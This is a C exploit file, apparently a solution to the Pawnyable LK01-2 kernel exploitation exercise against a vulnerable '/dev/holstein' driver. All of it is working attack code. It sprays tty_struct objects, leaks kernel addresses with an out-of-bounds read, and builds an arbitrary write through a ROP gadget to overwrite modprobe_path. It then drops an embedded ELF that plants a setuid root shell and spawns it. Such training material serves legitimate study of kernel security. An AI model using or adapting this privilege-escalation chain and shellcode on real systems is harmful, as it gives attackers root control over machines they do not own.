Pawnyable LK01-2

exploit_aaw_modprobe.c

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc38880
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b7dd6)
#define mov_eax_ptr_rdx_ret (kbase + 0x440428)
#define modprobe_path (kbase + 0xe38180)

int fd;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x500];
char win_condition[] = "/tmp/evil";

/*
 * Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
 * Dropper...:
 * fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC);
 * write(fd, shellcode, shellcodeLen);
 * chmod("/tmp/win", 0x4755);
 * close(fd);
 * exit(0)
 *
 * ... who drops some shellcode ELF:
 * setuid(0);
 * setgid(0);
 * execve("/bin/sh", ["/bin/sh"], NULL);
 */
unsigned char dropper[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00, 
    0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05,
    0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00,
    0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0,
    0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03,
    0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00,
    0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a,
    0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f,
    0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70,
    0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c,
    0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,
    0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0,
    0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96,
    0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb,
    0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89,
    0xe6, 0xb0, 0x3b, 0x0f, 0x05
};

void AAW32(unsigned long addr, unsigned int val) {
    printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
    unsigned long *p = (unsigned long *)&buf;
    p[0xc] = mov_ptr_rdx_rcx_ret;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x420);

    for (int i = 0; i < SPRAY_NUM; i++)
        ioctl(spray[i], val /* rcx */, addr /* rdx */);
}

int main() {
    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }
    printf("[+] /dev/holstein opened\n");
    fd = open("/dev/holstein", O_RDWR);
    if (fd == -1)
        perror("open");

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with OOB read\n");
    read(fd, buf, 0x500);
    kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x438] - 0x438;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    for (int i = 0; i < sizeof(win_condition); i += 4)
        AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]);

    FILE *fptr = fopen(win_condition, "w");
    if (!fptr) {
        puts("[!] Failed to open win condition");
        exit(-1);
    }
    if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) {
        puts("[!] Failed to write win condition");
        exit(-1);
    }
    fclose(fptr);
    if (chmod(win_condition, 0777) < 0) {
        puts("[!] Failed to chmod win condition");
        exit(-1);
    };
    puts("[+] win_condition (dropper) written to /tmp/evil");

    puts("[*] triggering modprobe");
    system("chmod +x /tmp/evil");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn"); // trigger modprobe_path

    puts("[*] spawning root shell");
    system("/tmp/win");

    close(fd);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}